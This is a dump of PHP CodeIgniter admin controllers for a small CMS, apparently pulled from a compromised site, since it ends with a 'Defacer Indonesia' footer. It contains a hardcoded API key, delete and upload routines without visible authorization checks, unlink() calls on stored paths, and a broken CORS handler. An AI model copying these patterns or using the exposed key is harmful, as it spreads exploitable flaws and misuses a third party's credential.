$data['page']=$this->model->getDatamodel($lang.'tblcontent'); $data['menugroup']=$this->model->getDatamodel('tblmenugroup'); $this->db->order_by("menu_position", "asc"); $this->db->select('*'); $where= array('menugroup' => $data['menugroup'][0]['menugroup_id']); $this->db->where($where); $this->db->from($lang.'tblmenu'); $data['menu'] = $this->db->get()->result_array(); $this->load->view("menu/menu_view",$data); } public function menuviewload($id) { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $this->db->order_by("menu_position", "asc"); $this->db->select('*'); $where= array('menugroup' =>$id); $this->db->where($where); $this->db->from($lang.'tblmenu'); $data['menu'] = $this->db->get()->result_array(); $where=array('menugroup_id'=>$id); $data['menugroup']=$this->model->DetailData('tblmenugroup',$where); $this->load->view("menu/menulist",$data); } public function addgroup() { $shortcode='['.str_replace(" ",'-',$this->input->post('menugroupname')).']'; $insertdata=array('menugroupname'=>$this->input->post('menugroupname'), 'menushortcode'=>$shortcode); $this->form_validation->set_rules('menugroupname', 'menugroupname', 'required|xss_clean|regex_match[/^[a-zA-Z ]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->insertdata('tblmenugroup',$insertdata); } redirect('admin/menumanagement'); } public function deletegroup($id) { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $where=array('menugroup_id'=>$id); $this->model->DeleteData('tblmenugroup',$where); $where=array('menugroup'=>$id); $this->model->DeleteData($lang.'tblmenu',$where); } public function addmenu() { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $menugroupid=$this->input->post('menugroup'); $lable=explode(",",$this->input->post('lable')); $menu=explode(",",$this->input->post('menu')); $url=explode(",",$this->input->post('url')); $count=1; $obj = json_decode($this->input->post('postions'),true); $where = array('menugroup'=>$menugroupid); $this->model->deleteData($lang.'tblmenu',$where); for ($a=0; $a <count($obj) ; $a++)//Level One { $Insertmenu=array('menu_name'=>$menu[$count], 'menu_displayname'=>$lable[$count], 'menu_content'=>$obj[$a]['id'], 'menu_position'=>$count, 'menugroup'=>$menugroupid, 'menu_url'=>$url[$count] ); $count++; $this->model->insertData($lang.'tblmenu',$Insertmenu); if (isset($obj[$a]['children'])) { for ($b=0; $b <count($obj[$a]['children']) ; $b++) //Level Two { $Insertmenu=array('menu_name'=>$menu[$count], 'menu_displayname'=>$lable[$count], 'menu_content'=>$obj[$a]['children'][$b]['id'], 'menu_position'=>$count, 'menugroup'=>$menugroupid, 'submenu'=>$obj[$a]['id'], 'menu_url'=>$url[$count] ); $count++; $this->model->insertData($lang.'tblmenu',$Insertmenu); if (isset($obj[$a]['children'][$b]['children'])) { for ($c=0; $c <count($obj[$a]['children'][$b]['children']) ; $c++)//Level Three { $Insertmenu=array('menu_name'=>$menu[$count], 'menu_displayname'=>$lable[$count], 'menu_content'=>$obj[$a]['children'][$b]['children'][$c]['id'], 'menu_position'=>$count, 'menugroup'=>$menugroupid, 'submenu'=>$obj[$a]['children'][$b]['id'], 'menu_url'=>$url[$count] ); $count++; $this->model->insertData($lang.'tblmenu',$Insertmenu); if (isset($obj[$a]['children'][$b]['children'][$c]['children'])) { for ($d=0; $d <count($obj[$a]['children'][$b]['children'][$c]['children']) ; $d++) //Level Four { $Insertmenu=array('menu_name'=>$menu[$count], 'menu_displayname'=>$lable[$count], 'menu_content'=>$obj[$a]['children'][$b]['children'][$c]['children'][$d]['id'], 'menu_position'=>$count, 'menugroup'=>$menugroupid, 'submenu'=>$obj[$a]['children'][$b]['children'][$c]['id'], 'menu_url'=>$url[$count] ); $count++; $this->model->insertData($lang.'tblmenu',$Insertmenu); if (isset($obj[$a]['children'][$b]['children'][$c]['children'][$d]['children'])) { for ($e=0; $e <count($obj[$a]['children'][$b]['children'][$c]['children'][$d]['children']) ; $e++) //Level Five { $Insertmenu=array('menu_name'=>$menu[$count], 'menu_displayname'=>$lable[$count], 'menu_content'=>$obj[$a]['children'][$b]['children'][$c]['children'][$d]['children'][$e]['id'], 'menu_position'=>$count, 'menugroup'=>$menugroupid, 'submenu'=>$obj[$a]['children'][$b]['children'][$c]['children'][$d]['id'], 'menu_url'=>$url[$count] ); $count++; $this->model->insertData($lang.'tblmenu',$Insertmenu); }//End Level Five } }//End Level Four } } //End Level Three } } //End Level Two } }//End Level One echo ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Navigation Data successfully save. </div>'; } public function Menustu() { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $content['view']=array(); $data=$this->input->post('pageid'); $malestr = str_replace("pageid=", "", $data); $page=explode("&",$malestr); for ($i=0; $i <count($page) ; $i++) { $where = array('content_id' => $page[$i]); $get=$this->model->DetailData($lang.'tblcontent',$where); array_push($content['view'],$get); } $this->load->view('menu/menustucture',$content); } public function deleteMenuData($encrypted_string,$menugroup) { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $id =$encrypted_string; $where=array('menu_content'=>$id,'menugroup'=>$menugroup); $this->model->DeleteData($lang.'tblmenu',$where); $where=array('submenu'=>$id,'menugroup'=>$menugroup); $this->model->DeleteData($lang.'tblmenu',$where); echo ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Navigation Data successfully Deleted. </div>'; } } Registration.php 0000644 00000001220 14655426712 0007736 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Registration extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index() { $userdata['data']=$this->model->getDatamodel('tbl_registration'); $this->load->view("registration",$userdata); } public function view($encrypted_id) { $id = $this->model->decryptdata($encrypted_id); $where=array('rid' => $id); $userdata['data'] = $this->model->DetailData('tbl_registration', $where); $this->load->view("view_registration",$userdata); } } RegisteredStudents.php 0000644 00000002316 14655426713 0011123 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class RegisteredStudents extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index(){ $key['view']=$this->model->getDatamodel('tbl_students_registration'); $this->load->view("students",$key); } public function trash(){ $ids=$this->input->post('ck'); $n=count($ids); for($i=0;$i<$n;$i++) { $id=$ids[$i]; $where=array('rid'=>$id); $this->model->DeleteData('tbl_students_registration',$where); } $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Data has been deleted. </div>'); redirect('admin/registeredStudents'); } public function view($encrypted_string){ $id = $this->model->decryptdata($encrypted_string); $where=array('rid'=>$id); $key['view']=$this->model->DetailData('tbl_students_registration',$where); $this->load->view("view_students",$key); } } Portfolio_subcat.php 0000644 00000012264 14655426713 0010615 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); error_reporting(0); class Portfolio_subcat extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata', "model"); $session_data=$this->session->all_userdata(); if(count($session_data)==5) { redirect('admin/starlogin'); } } public function index() { $data['view']=$this->model->getDatamodel('tbl_port_sub_cat'); $this->load->view("portfolio/portfolio_sub",$data); } //------ START: INSERT FUNCTION ------------------------------ public function add_portfoliocategory(){ if($this->input->post('save')=='save'){ $insertdata= array( 'pid'=>$this->input->post('pid'), 'ps_name'=>$this->input->post('ps_name'), ); $this->form_validation->set_rules('ps_name', 'ps_name', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->insertData('tbl_port_sub_cat',$insertdata); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Insert data successfully . </div>'); */ redirect('admin/portfolio_subcat'); }else{ $data['port']=$this->model->getDatamodel('tbl_portfolio_category'); $this->load->view("portfolio/portfolio_sub_add", $data); } } //------ END: INSERT FUNCTION ------------------------------ //------ START: EDIT FUNCTION ------------------------------ public function edit_portfoliocategory($encrypted_string){ $id = $this->model->decryptdata($encrypted_string); $where=array('psid'=>$id); if($this->input->post('save')=='save'){ $Updatedata= array( 'pid'=>$this->input->post('pid'), 'ps_name'=>$this->input->post('ps_name'), ); $this->form_validation->set_rules('ps_name', 'ps_name', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->UpdateData('tbl_port_sub_cat',$Updatedata,$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Update data successfully . </div>'); */ redirect('admin/Portfolio_subcat'); }else{ $data['port']=$this->model->getDatamodel('tbl_portfolio_category'); $data['view']=$this->model->DetailData('tbl_port_sub_cat',$where); $this->load->view("portfolio/portfolio_sub_add",$data); } } //------ END: EDIT FUNCTION ------------------------------ //------ START: DELETE FUNCTION ------------------------------ public function delete_portfoliocategory(){ $ids = explode('&',$this->input->post('ck')); $n=count($ids); for($i=0;$i<$n;$i++) { $id=explode('=',$ids[$i]); $where=array('psid'=>$id[1]); $getimages=$this->model->DetailData('tbl_port_sub_cat',$where); for($j=0;$j<count($getimages);$j++) { //echo $getimages[$j]['portfolio_image_path']."<br/>"; unlink("portfolio_images/".$getimages[$j]['portfolio_image_path']); } $this->model->DeleteData('tbl_port_sub_cat',$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Delete data successfully . </div>'); */ redirect('admin/portfolio_subcat'); } //------ END: DELETE FUNCTION ------------------------------- } /* End of file services.php */ Postmanagement.php 0000644 00000022255 14655426714 0010263 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); ob_start(); class Postmanagement extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index() { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $this->db->order_by("tblpost_id", "desc"); $this->db->select('*'); $this->db->from($lang.'tblposts'); $this->db->join('tblusers', $lang.'tblposts.user_id = tblusers.uid','left'); $content['view'] = $this->db->get()->result_array(); $this->load->view("posts/posts_view",$content); } public function addpost() { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; if($this->input->post('save')=='save') { $path_parts = pathinfo($_FILES["photo"]["name"]); $extension = $path_parts['extension']; //echo $extension; $contenthead = $this->input->post('contenthead'); //print_r($contenthead); die; $chead=implode('|-|',$contenthead); $pagecontent = $this->input->post('myeditor'); //print_r($pagecontent); die; $content=implode('|-|',$pagecontent); //echo($content); die; $config['upload_path'] = './banners/'; $config['allowed_types']= 'gif|jpg|png'; $this->upload->initialize($config); $this->load->library('upload', $config); $this->upload->do_upload('photo'); $data = $this->upload->data(); $name_array='banners/'.$data['file_name']; /* $this->load->library('image_lib'); $config['image_library'] = 'gd2'; $config['source_image'] = $name_array; $config['create_thumb'] = FALSE; $config['maintain_ratio'] = TRUE; $config['width'] = 400; $this->image_lib->clear(); $this->image_lib->initialize($config); $this->image_lib->resize();*/ $title=$this->input->post('titlepost'); $data['tblposts']=$this->model->getDatamodel($lang.'tblposts'); $slug=str_replace(' ', '-', $title); $checkslg=0; foreach ($data['tblposts'] as $key) { if ($key['post_slug']==$slug) { $slug=str_replace(' ', '-', $title).'-'.$checkslg++; } } $newDate = date("Y-m-d", strtotime($this->input->post('post_date'))); $insetcontent=array('titlepost'=>$this->input->post('titlepost'), 'content_head'=>$chead, 'contentpost'=>$content, 'post_cat'=>$this->input->post('post_cat'), 'user_id'=>$session_data['userinfo'][0]['uid'], 'modified_time'=>date('Y-m-d h:m:s'), 'imagepath'=>$name_array, 'post_slug'=>$slug, 'post_date'=>$newDate ); $this->form_validation->set_rules('titlepost', 'titlepost', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->insertData($lang.'tblposts',$insetcontent); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Post Data successfully Insert. </div>'); */ redirect('admin/postmanagement'); } else { $this->load->view("posts/post_add"); } } public function editpostData($encrypted_string) { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $id = $this->model->decryptdata($encrypted_string); $where=array('tblpost_id'=>$id); if($this->input->post('save')=='save') { $contenthead = $this->input->post('contenthead'); $chead=implode('|-|',$contenthead); $pagecontent = $this->input->post('myeditor'); $content=implode('|-|',$pagecontent); //print_r($content); die; $config['upload_path'] = './banners/'; $config['allowed_types']= 'gif|jpg|png'; $this->upload->initialize($config); $this->load->library('upload', $config); $this->upload->do_upload('photo'); $data = $this->upload->data(); $session_data=$this->session->all_userdata(); $name_array='banners/'.$data['file_name']; $title=$this->input->post('titlepost'); $data['tblposts']=$this->model->getDatamodel($lang.'tblposts'); $slug=str_replace(' ', '-', $title); $checkslg=0; foreach ($data['tblposts'] as $key) { if ($key['post_slug']==$slug) { $slug=str_replace(' ', '-', $title).'-'.$checkslg++; } } $newDate = date("Y-m-d", strtotime($this->input->post('post_date'))); if ($data['file_name']=='') { $insetcontent=array('titlepost'=>$this->input->post('titlepost'), 'content_head'=>$chead, 'contentpost'=>$content, 'post_cat'=>$this->input->post('post_cat'), 'user_id'=>$session_data['userinfo'][0]['uid'], 'modified_time'=>date('Y-m-d h:m:s'), 'post_date'=>$newDate, //'post_slug'=>$slug, ); } else { $insetcontent=array('titlepost'=>$this->input->post('titlepost'), 'content_head'=>$chead, 'contentpost'=>$content, 'post_cat'=>$this->input->post('post_cat'), 'user_id'=>$session_data['userinfo'][0]['uid'], 'modified_time'=>date('Y-m-d h:m:s'), 'post_date'=>$newDate, 'post_slug'=>$slug, 'imagepath'=>$name_array ); } $this->form_validation->set_rules('titlepost', 'titlepost', 'required|xss_clean|regex_match[/[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->UpdateData($lang.'tblposts',$insetcontent,$where); } /* $this->session->set_flashdata('msg',' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Post Data successfully Edit. </div>'); */ redirect('admin/postmanagement'); } else { $this->db->select('*'); $this->db->from($lang.'tblposts'); $this->db->where($where); $data['view']= $this->db->get()->result_array(); $this->load->view("posts/post_add",$data); } } public function deletepostselected() { $ids=explode('&',$this->input->post('ck')); $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $where = array(); for ($i=0; $i < count($ids); $i++) { $id=explode('=',$ids[$i]); $where = array('tblpost_id'=>$id[1]); $getbanner=$this->model->DetailData($lang.'tblposts',$where); unlink($getbanner[0]['imagepath']); $this->model->deleteData($lang.'tblposts',$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Post Data successfully Delete. </div>'); */ redirect('admin/postmanagement'); } } Apicalls.php 0000644 00000005363 14655426715 0007033 0 ustar 00 <?php ob_start(); defined('BASEPATH') OR exit('No direct script access allowed'); class Apicalls extends CI_Controller { function __construct() { parent::__construct(); //$session_data=$this->session->all_userdata(); /*if(!isset($session_data['flang']) && !isset($session_data['color'])) { $this->session->set_userdata('flang', ''); $this->session->set_userdata('color', 'style'); } $this->load->dbutil(); $dbs_smarttips = $this->dbutil->list_databases(); if (!$this->dbutil->database_exists('starppld_aangadia')) { show_error("Issue with the database", 500 ); exit; }*/ $this->load->model('alldata', "model"); } public function getPincodeCity(){ echo "in function"; $BoyID=$_GET['BoyID']; $syncDateTime=$_GET['syncDateTime'];//die; $xappKey = '3UTihIfpv0RXQcGVmwCuwn23uVZR9tL7OLnaLckFw1FHsNf1zvlhrvsa5lcslL9H'; //$url='http://14.192.16.215/apibooking/api/v3/GetPincodeMaster?BoyID='+$BoyID+'&SyncDateTime='+$syncDateTime; //$url='http://c2p.gojavas.net/apibooking/api/v3/GetPincodeMaster?BoyID='+$BoyID+'&SyncDateTime='+$syncDateTime; if (!isset($url)) { // This is not cross-domain request exit; } $wildcard = FALSE; // Set $wildcard to TRUE if you do not plan to check or limit the domains $credentials = FALSE; // Set $credentials to TRUE if expects credential requests (Cookies, Authentication, SSL certificates) $allowedOrigins = array('http://14.192.16.215/apibooking/api/v3/GetPincodeMaster?BoyID='+$BoyID+'&SyncDateTime='+$syncDateTime); print $url; $allowedOrigins = array($url); //echo "------".$allowedOrigins;//die; echo "<pre>";print_r($allowedOrigins); if (!in_array($url, $allowedOrigins) && !$wildcard) { // Origin is not allowed exit; } $origin = $wildcard && !$credentials ? '*' : $url; header("Access-Control-Allow-Origin: " . $origin); if ($credentials) { header("Access-Control-Allow-Credentials: true"); } header("Access-Control-Allow-Methods: POST, GET, OPTIONS"); header("Access-Control-Allow-Headers: Origin"); header('P3P: CP="CAO PSA OUR"'); // Makes IE to support cookies // Handling the Preflight if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { exit; } // Response header("Content-Type: application/json; charset=utf-8"); echo json_encode(array('status' => 'OK')); } } Clientmanagement.php 0000644 00000001556 14655426716 0010557 0 ustar 00 <?php ob_start(); defined('BASEPATH') OR exit('No direct script access allowed'); class Clientmanagement extends CI_Controller { function __construct() { parent::__construct(); $session_data=$this->session->all_userdata(); if(!isset($session_data['flang']) && !isset($session_data['color'])) { $this->session->set_userdata('flang', ''); $this->session->set_userdata('color', 'style'); } $this->load->model('alldata', "model"); } public function index(){ $this->load->model('alldata', "model"); $where=array('page_category'=>'index','publish'=>'on'); $data['viewdata']=$this->model->containdetail($where); $this->load->view("Web/header",$data); $this->load->view("client/welcome",$data); //$this->load->view("Web/footer"); $this->load->view("Web/footer2"); } } Contentmanagement.php 0000644 00000020312 14655426717 0010743 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); ob_start(); error_reporting(0); //error_reporting(E_ALL); class Contentmanagement extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index() { $session_data=$this->session->all_userdata(); $table=$session_data['lang'].'tblcontent'; $this->db->order_by("content_id", "desc"); $this->db->select('*'); $this->db->from($table); $this->db->join('tblusers', $table.'.user_id = tblusers.uid','left'); $content['view'] = $this->db->get()->result_array(); $this->load->view("contant/contant_view",$content); } public function addcontent() { if($this->input->post('save')=='save') { // echo "<pre>"; print_r($_POST); die; $contenthead = $this->input->post('contenthead'); $chead=implode('|-|',$contenthead); //print_r($chead); $pagecontent = $this->input->post('myeditor'); $content=implode('|-|',$pagecontent); //print_r($chead.$content); die; $session_data=$this->session->all_userdata(); $table=$session_data['lang'].'tblcontent'; $rand=rand(1000,9999); $title=$this->input->post('Content'); $pagecode =str_replace(' ', '-', $title).rand(999,9999); $data['tblcontent']=$this->model->getDatamodel($table); $slug=str_replace(array('_','-',"'", '.', '|', '(',')',',','/','!','?','|'), '', $title); $slug=str_replace(' ', '-', $slug); $checkslg=0; foreach ($data['tblcontent'] as $key) { if ($key['slug']==$slug) { $slug=str_replace(' ', '-', $title).'-'.$checkslg++; } } $slug=strtolower($slug); $insetcontent=array( 'page_category'=>$this->input->post('page_category'), 'content_title'=>$title, 'content_head'=>$chead, 'content_text'=>$content, 'footer_text'=>$this->input->post('footer_text'), 'banner_id'=>$this->input->post('banner_id'), 'publish'=>$this->input->post('publish'), //'content_text'=>$this->input->post('myeditor'), //'map11'=>$this->input->post('map'), 'user_id'=>$session_data['userinfo'][0]['uid'], 'page_code'=>$pagecode, 'slug'=>$slug, 'meta_tital'=>$this->input->post('meta_tital'), 'meta_keyword'=>$this->input->post('meta_keyword'), 'meta_description'=>$this->input->post('meta_description') ); $this->form_validation->set_rules('Content', 'Content', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { //$this->model->insertData($table,$insetcontent); $query=$this->model->insertData($table,$insetcontent); /*print_r($query); //echo $errNo = $this->db->_error_number(); // echo $errMess = $this->db->_error_message(); if(!$query) { echo "yes"; }else{ echo "no"; } die;*/ /*if($query='error') { echo "yes"; }else{ echo "no"; } /* if(!$query) { redirect('admin/webcontroller/errorpage'); }else{ redirect('admin/contentmanagement'); } */ } redirect('admin/contentmanagement'); } else { $data['bannergrid']=$this->model->getDatamodel('tblbanners'); $this->load->view("contant/contant_add",$data); } } public function editContentData($encrypted_string) { $session_data=$this->session->all_userdata(); $table=$session_data['lang'].'tblcontent'; $lang=$session_data['lang']; $id = $this->model->decryptdata($encrypted_string); $where=array('content_id'=>$id); if($this->input->post('save')=='save') { $contenthead = $this->input->post('contenthead'); $chead=implode('|-|',$contenthead); //print_r($chead); $pagecontent = $this->input->post('myeditor'); $content=implode('|-|',$pagecontent); //print_r($chead.$content); die; $title=$this->input->post('Content'); $data['tblcontent']=$this->model->getDatamodel($table); $slug=str_replace(array('_','-',"'", '.', '|', '(',')',',','/','!','?','|'), '', $title); $slug=str_replace(' ', '-', $slug); $checkslg=0; $slug=strtolower($slug); foreach ($data['tblcontent'] as $key) { if ($key['slug']==$slug) { if($key['content_id']!=$id) { $slug=str_replace(' ', '-', $slug).'-'.$checkslg++; } } } //print_r($this->input->post()); //die(); $insetcontent=array ( 'page_category'=>$this->input->post('page_category'), 'content_title'=>$this->input->post('Content'), 'content_head'=>$chead, 'content_text'=>$content, 'banner_id'=>$this->input->post('banner_id'), 'footer_text'=>$this->input->post('footer_text'), 'publish'=>$this->input->post('publish'), //'content_text'=>$this->input->post('myeditor'), //'map'=>$this->input->post('map'), 'user_id'=>$session_data['userinfo'][0]['uid'], 'modified_time'=>date('Y-m-d H:i:s'), 'meta_tital'=>$this->input->post('meta_tital'), 'meta_keyword'=>$this->input->post('meta_keyword'), 'meta_description'=>$this->input->post('meta_description'), 'slug'=>$slug, ); $this->form_validation->set_rules('Content', 'Content', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->UpdateData($table,$insetcontent,$where); $where=array('menu_content'=>$id); $Insertmenu=array('menu_name'=>$this->input->post('Content'), 'menu_displayname'=>$this->input->post('Content')); $this->model->UpdateData($lang.'tblmenu',$Insertmenu,$where); } redirect('admin/contentmanagement'); } else { $this->db->select('*'); $this->db->from($table); $this->db->where($where); $data['view']= $this->db->get()->result_array(); $where=array('submenu'=>0); $data['menugrid']=$this->model->DetailData($lang.'tblmenu',$where); $data['bannergrid']=$this->model->getDatamodel('tblbanners'); $this->load->view("contant/contant_add",$data); } } public function deletecontentselected() { $ids=explode('&',$this->input->post('ck')); $session_data=$this->session->all_userdata(); $table=$session_data['lang'].'tblcontent'; for ($i=0; $i < count($ids); $i++) { $id=explode('=',$ids[$i]); $where = array('content_id'=>$id[1]); $this->model->deleteData($table,$where); } redirect('admin/contentmanagement'); } }
Copyright ©2021 || Defacer Indonesia